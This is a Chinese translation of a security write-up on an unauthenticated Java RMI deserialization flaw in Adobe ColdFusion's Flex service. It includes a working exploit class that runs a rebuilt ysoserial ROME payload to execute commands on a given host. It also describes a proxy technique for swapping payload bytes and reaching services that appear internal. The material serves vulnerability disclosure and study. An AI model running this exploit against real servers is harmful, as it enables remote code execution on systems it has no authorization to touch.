前言
2017年10月我发布了一个Java RMI/反序列化漏洞的概述和PoC视频,该漏洞影响了AdobeColdFusion的Flex集成服务。我推迟发布所有细节和利用方法,因为发现了一个额外的可用于修复服务器的payload。
Adobe现在已经发布了进一步的安全更新,可以点击链接了解更多详细信息。
RMI和java.lang.Object
Java远程方法调用(RMI)协议几乎是100% Java序列化。当从RMI注册表服务请求一个对象并在该对象上调用方法时,通过网络传输的数据采用Java序列化格式。ColdFusion的Flex集成RMI服务公开了以下类的一个对象:
coldfusion.flex.rmi.DataServicesCFProxy
这个类可以在ColdFusion Installation目录中的“libs/cfusion.jar”文件中找到,如下所示:
package coldfusion.flex.rmi;
import java.rmi.Remote;
import java.rmi.RemoteException;
import java.util.List;
import java.util.Map;
public abstract interface DataServicesCFProxy extends Remote
{
public abstract List fill(String paramString, Object[] paramArrayOfObject, Map paramMap) throws RemoteException;
public abstract List sync(String paramString, List paramList, Map paramMap) throws RemoteException;
public abstract Object get(String paramString, Map paramMap1, Map paramMap2) throws RemoteException;
public abstract Integer count(String paramString, Object[] paramArrayOfObject, Map paramMap) throws RemoteException;
public abstract boolean fillContains(String paramString, Object[] paramArrayOfObject, Object paramObject, Boolean paramBoolean, Map paramMap) throws RemoteException;
}
这些方法中的每一个都可以用任何Java对象作为参数来调用。请注意,诸如List和Map之类的容器可以包含任何Java对象。与此RMI服务交互不需要身份验证,因此任何可以通过网络访问该服务的人都可以向该服务提供任意Java对象,以试图利用Java反序列化攻击(例如,通过ysoserial payload作为参数)。
不幸的是,没有一个ysoserial payload起作用。
在我上一篇关于ColdFusion CVE-2017-11283和CVE-2017-11284的文章中谈到了我是如何修改了一个payload来成功利用这个入口并使用Mozilla Rhino JavaScript库获得远程命令执行的。在本例中使用技术和入口保持不变,但是我们针对的是与ColdFusion捆绑在一起的ROME库(请参见“libs/rome-cf.jar”)。
利用-简单的方法
下面是一个简单的RMI客户端程序,它从RMI注册表服务中检索ColdFusion DataServicesCFProxy对象,然后使用NULL参数调用RemoteCount()方法:
package nb.barmie.demo;
import coldfusion.flex.rmi.DataServicesCFProxy;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class CFRMIDemo {
public static void main(String[] args) throws Exception {
Registry reg = LocateRegistry.getRegistry(args[0], Integer.parseInt(args[1]));
DataServicesCFProxy obj = (DataServicesCFProxy)reg.lookup("cfassembler/default");
obj.count(null, null, null);
}
}
count()方法的第二个参数是java.lang.Object数组,这意味着我们可以在该参数中提供任意对象,它们将在服务器上反序列化。我们可以在运行时使用索引库来生成任意的payload对象,并将其传递给count()方法,但是,索引库的payload与ColdFusion捆绑在一起的ROME版本是不兼容的。如果我们尝试这样做,服务器将显示服务端类与通过网络发送的序列化对象不兼容。这是因为serialVersionUID字段不匹配,类似于我之前描述的针对Mozilla Rhino的攻击。
在2018年4月更新之前,利用ColdFusionRMI服务的最简单方法是重新构建ysoserial。与其针对ROME 1.0(Maven依赖项)构建ysoserial,不如在ColdFusion Installation目录中的“libs/rome-cf.jar”上构建它。这样就可以使用以下代码生成和注入payload了:
package nb.barmie.exploit.standalone;
import coldfusion.flex.rmi.DataServicesCFProxy;
import ysoserial.payloads.ROME;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class CFRMIExploit {
public static void main(String[] args) throws Exception {
Registry reg = LocateRegistry.getRegistry(args[0], Integer.parseInt(args[1]));
DataServicesCFProxy obj = (DataServicesCFProxy)reg.lookup("cfassembler/default");
obj.count(null, new Object[] {
new ROME().getObject(args[2])
}, null);
}
}
使用以下参数运行:host, port, command。
利用-BaRMIe!
在RMI安全性方面做了大量工作之后,我选择在我的RMI枚举和攻击工具BaRMIe中实现一个漏洞。这是一个更复杂的利用,但也更强大。我将在不久的将来发布这个版本的漏洞,但现在我将为对它感兴趣的人解释它是如何工作的!
RMI背景知识
远程方法调用涉及两个网络服务和两个不同的网络连接。第一个网络服务是RMI注册服务,通常位于TCP端口1099,它本质上是一个目录服务,其中Java对象引用绑定到名称。下面代码的第4行连接到10.0.0.30:1099上的RMI注册表服务,并请求引用绑定到名称“foo”的对象:
public class RMIList {
public static void main(String[] args) throws Exception {
Registry reg = LocateRegistry.getRegistry("10.0.0.30", 1099);
SomeClass obj = (SomeClass)reg.lookup("Foo");
}
}
第二个网络服务用于与对象本身通信。当对象绑定到RMI注册表中的给定名称时,可以找到对象的主机和端口存储在注册表中。从RMI注册表中检索对象引用时,RMI注册表服务返回的数据包括对象的网络服务的主机和端口。下面代码中的第5行连接到RMI对象服务,并调用Method()方法:
public class RMIList {
public static void main(String[] args) throws Exception {
Registry reg = LocateRegistry.getRegistry("10.0.0.30", 1099);
SomeClass obj = (SomeClass)reg.lookup("Foo");
obj.someMethod("String Param");
}
}
中间人攻击
在构建Barmie时,我希望尽可能多地使用payload,而不必与依赖项和多个依赖项版本作斗争。实现这一点的方法是使用硬编码的静态paylaod,并动态生成部分内容(例如,命令字符串和相应的长度字段)。问题是,无法在接收服务器将这些字节反序列化的情况下从RMI连接中本地抽取任意字节。为了实现这一点,我构建了一个代理框架,允许我在两个连接实现中间人攻击。它的工作如下:
- 启动RMI注册表代理,将连接转发到目标RMI注册表
- 使用RMI注册表代理的主机和端口调用LocateRegistry.getRegistry(),而不是RMI注册表服务的主机和端口
- 通过RMI注册表代理调用Registry.lookup()检索远程对象引用(将请求转发给真正的RMI注册表服务)
- 当RMI注册表代理检测到返回远程对象引用时:
- 它启动一个RMI方法代理,将连接转发到真正的RMI对象服务。
- 它将远程对象引用修改为指向新的RMI方法代理,而不是实际的RMI对象服务。
- 在远程对象引用上调用方法时,通过RMI代理连接。
通过代理进行远程方法调用,我可以完全控制协议,并且可以操作Java虚拟机本来会阻止我操作的东西。这方面的一个很好的例子是,我们无法向期望java.lang.String类型的参数的远程方法提供任意对象参数,但是,如果我们使用代理在网络级别修改出站远程方法调用,那么我们可以提供一个任意对象,服务器将反序列化它。
使用RMI方法代理,我们可以正常方式对远程方法发出调用,但使用占位符参数而不是payload对象。当方法代理检测到表示该占位符对象的字节时,它可以用表示任意反序列化payload的字节流替换这些字节。
完善payload
当我第一次在ColdFusion Installation目录中发现“libs/rome-cf.jar”文件时,我所做的第一件事就是在Barmie中创建一个利用RMI方法代理的漏洞,它使用一个RMI方法代理,根据来自 ysoserial的ROME payload注入两个payload。这两种方法都没有成功,但是服务器的响应表明本地类是不兼容的,并给了我服务器端类的SerialVersionUID。通过多次修改payload,使得序列化VersionUID值与服务器上的值匹配,我再次实现了针对ColdFusion的远程命令执行。
Bonus:攻击“内部”服务
考虑到我上面详述的容易利用的特性,所有这些代理看起来都很费劲,但实际上Barmie中已经有了支持功能,所以开发这个漏洞只花了半个小时。
除了我之前提到的控制在Java虚拟机的限制之外的东西之外,还有一个额外的好处,但这一点绝对值得再提一次。许多“内部”RMI服务实际上并不是内部的。你可以将对象绑定到RMI注册中心,并且给人的印象是它们被绑定到例如127.0.0.1或10.0.0.30,甚至你自己的主机。如果外部攻击者使用上述简单攻击来检索对这些对象的引用,则它们将无法攻击RMI服务,因为它们无法访问这些内部地址。
但是,默认情况下,RMI对象服务绑定到所有网络接口。假设目标的外部地址为8.8.8.9,RMI注册表返回指向目标内部地址10.8.8.9:30001的对象引用。默认情况下,可以通过连接到外部地址上的相同端口(8.8.8.9:30001)访问同一个对象。通过代理RMI注册表连接,我们可以检测到这一点,并自动修改RMI连接,以启用对似乎在内部绑定的对象的攻击。
引用
- 我之前的ColdFusion漏洞的详细信息:https://nickbloor.co.uk/2017/10/13/adobe-coldfusion-deserialization-rce-cve-2017-11283-cve-2017-11238/
- Adobe安全更新APSB 18-14:https://helpx.adobe.com/security/products/coldfusion/apsb18-14.html
- 攻击Java反序列化:https://nickbloor.co.uk/2017/08/13/attacking-java-deserialization/
- ysoserial:https://github.com/frohoff/ysoserial
- ROME库:https://rometools.github.io/rome/
- Barmie RMI枚举和攻击工具:https://github.com/NickstaDB/BaRMIe
审核人:yiwang 编辑:边边